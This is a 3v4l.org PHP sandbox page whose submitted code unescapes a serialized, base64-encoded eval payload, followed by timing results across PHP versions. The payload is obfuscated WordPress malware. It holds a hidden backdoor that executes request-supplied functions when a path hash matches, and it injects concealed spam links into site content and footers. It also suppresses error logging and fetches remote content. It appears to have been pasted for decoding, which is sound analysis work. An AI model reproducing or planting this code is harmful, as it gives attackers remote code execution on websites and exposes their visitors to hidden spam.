3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo str_replace( '\', '', 's:2912:\"a:7:{i:0;s:2462:\"eval(base64_decode(\"DQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRjMzMnKSBhbmQgIWZ1bmN0aW9uX2V4aXN0cygnYWRkX2xpbmtzJykpIHsNCglAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAJTlVMTCk7DQoJQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIE5VTEwpOw0KCUBpbmlfc2V0KCdsb2dfZXJyb3JzJywJCU5VTEwpOw0KDQoJaWYoQG1kNSgkX1NFUlZFUlsnSFRUUF9QQVRIJ10pPT09Ijg5Y2UzNmY5YzM1NzllYzJhYWExMWYwMTY4Y2I0ODc4Iikgew0KCQlAZXh0cmFjdCgkX1JFUVVFU1QpOyBAZGllKCRjaWQoJGVpZCkpOw0KCX0NCglpZihpc191c2VyX2xvZ2dlZF9pbigpIHx8IGlzXzQwNCgpKSByZXR1cm4gZmFsc2U7DQoNCglmdW5jdGlvbiBhZGRfbGlua3MxKCRjb250ZW50KSB7DQoJCWlmKGRlZmluZWQoJ0FMUkVBRFlfRE9ORScpKSByZXR1cm4gJGNvbnRlbnQ7DQoJCWRlZmluZShBTFJFQURZX0RPTkUsICcxJyk7DQoJCWlmIChpc3NldCgkX1JFUVVFU1RbImNoZWNrIl0pKSB7DQoJCQkkY29udGVudCAuPSAiPCEtLSBjaGVjayAtLT4iOw0KCQl9IGVsc2UgLyppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ109PScvJyB8fCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXT09Jy9pbmRleC5waHAnKSovew0KCQkJJGxpbmtzVGV4dCAgPSBzdHJfcm90MTMoaW1wbG9kZSh1bnNlcmlhbGl6ZShnZXRfb3B0aW9uKCJjb21tZW50c192aXNpdG9yIikpKSk7DQoJCQlpZiAoIXByZWdfbWF0Y2goIi88ZGl2L2kiLCAkbGlua3NUZXh0KSkgew0KCQkJCSRsaW5rcz1leHBsb2RlKCJ8IiwgJGxpbmtzVGV4dCk7DQoJCQkJJHZhcnMgPSBleHBsb2RlKCI8cCIsICRjb250ZW50KTsNCgkJCQkkaW5kID0gMDsNCgkJCQkkaW4gID0gMDsNCgkJCQkkcmFuZCA9IHJhbmQoMzAwMDAsIDEwMDAwMCk7DQoJCQkJJGNvbnQgPSI8c2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj4NCnZhciBzdHlsZTQ4MTk2MjcgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwic3R5bGVcIik7DQpzdHlsZTQ4MTk2MjcuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlVGV4dE5vZGUoXCIuc2lkIHsgcG9zaXRpb246YWJzb2x1dGU7bGVmdDotIi4kcmFuZC4icHg7IH1cIikpOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzdHlsZTQ4MTk2MjcpOw0KPC9zY3JpcHQ+IjsNCgkJCSRjb250Lj0kdmFyc1swXTsNCg0KDQoJCQlmb3IoJGk9MTskaTxjb3VudCgkdmFycyk7JGkrKykgew0KCQkJCSRjb250Lj0oJGk8KGNvdW50KCR2YXJzKSk/IjxwIjoiIikuJHZhcnNbJGldLigkaW5kPGNvdW50KCRsaW5rcyk/IiAiLiRsaW5rc1skaW5kKytdOiIiKTsNCgkJCX0NCg0KCQkJZm9yKCRpPSRpbmQ7JGk8Y291bnQoJGxpbmtzKTskaSsrKSANCgkJCQkJJGNvbnQuPSRsaW5rc1skaV0uIiAgIjsNCgkJCQkkY29udGVudCA9ICRjb250Ow0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIAkkY29udGVudCAuPSAkbGlua3NUZXh0Ow0KICAgICAgICAgICAgfQ0KCQl9DQoJCXJldHVybiAkY29udGVudDsNCgl9DQoNCglmdW5jdGlvbiBhZGRfbGlua3MoKSB7DQoJCXByaW50IGFkZF9saW5rczEoKTsNCgl9DQoJZnVuY3Rpb24gZ2V0YzMzKCR1cmwsICRjb250ZW50ID0gJycpIHsNCgkJQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAyKTsNCgkJQHN0cmVhbV9zZXRfdGltZW91dCgkZnAsIDIpOw0KDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVtb3RlX2dldCcpKSB7DQoJCQkkcmVxdWVzdCA9IEB3cF9yZW1vdGVfZ2V0KCR1cmwsIGFycmF5KCd0aW1lb3V0Jz0+MikpOw0KCQkJaWYoIWlzX3dwX2Vycm9yKCRyZXF1ZXN0KSkgcmV0dXJuICRyZXF1ZXN0Wy\";i:1;s:282:\"dib2R5J107DQoJCX0NCg0KCQlpZihpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKT09MSYmZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKQ0KCQkJaWYoZmFsc2UgIT09KCRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdXJsKSkpIHJldHVybiAkY29udGVudDsNCgkJcmV0dXJuIGZhbHNlOw0KCX0JDQoJYWRkX2ZpbHRlcigndGhlX2NvbnRlbnQnLCdh\";i:2;s:63:\"ZGRfbGlua3MxJyk7DQoJYWRkX2ZpbHRlcignd3BfZm9vdGVyJywnYWRkX2xpbmt\";i:3;s:7:\"zJyk7DQ\";i:4;s:1:\"p\";i:5;s:7:\"9DQo=\")\";i:6;s:1:\")\";}\";' );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.10.0070.07720.16
7.0.00.0030.04320.33
5.6.160.0030.06020.45
5.6.150.0070.07318.24
5.6.140.0070.06018.15
5.6.130.0100.07718.21
5.6.120.0100.05321.13
5.6.110.0100.08320.97
5.6.100.0130.06721.02
5.6.90.0070.07320.97
5.6.80.0070.05320.53
5.5.300.0000.05018.08
5.5.290.0130.03017.99
5.5.280.0100.04020.82
5.5.270.0130.05020.86
5.5.260.0070.05320.86
5.5.250.0130.06320.57
5.5.240.0330.06320.26

preferences:
140.77 ms | 1394 KiB | 7 Q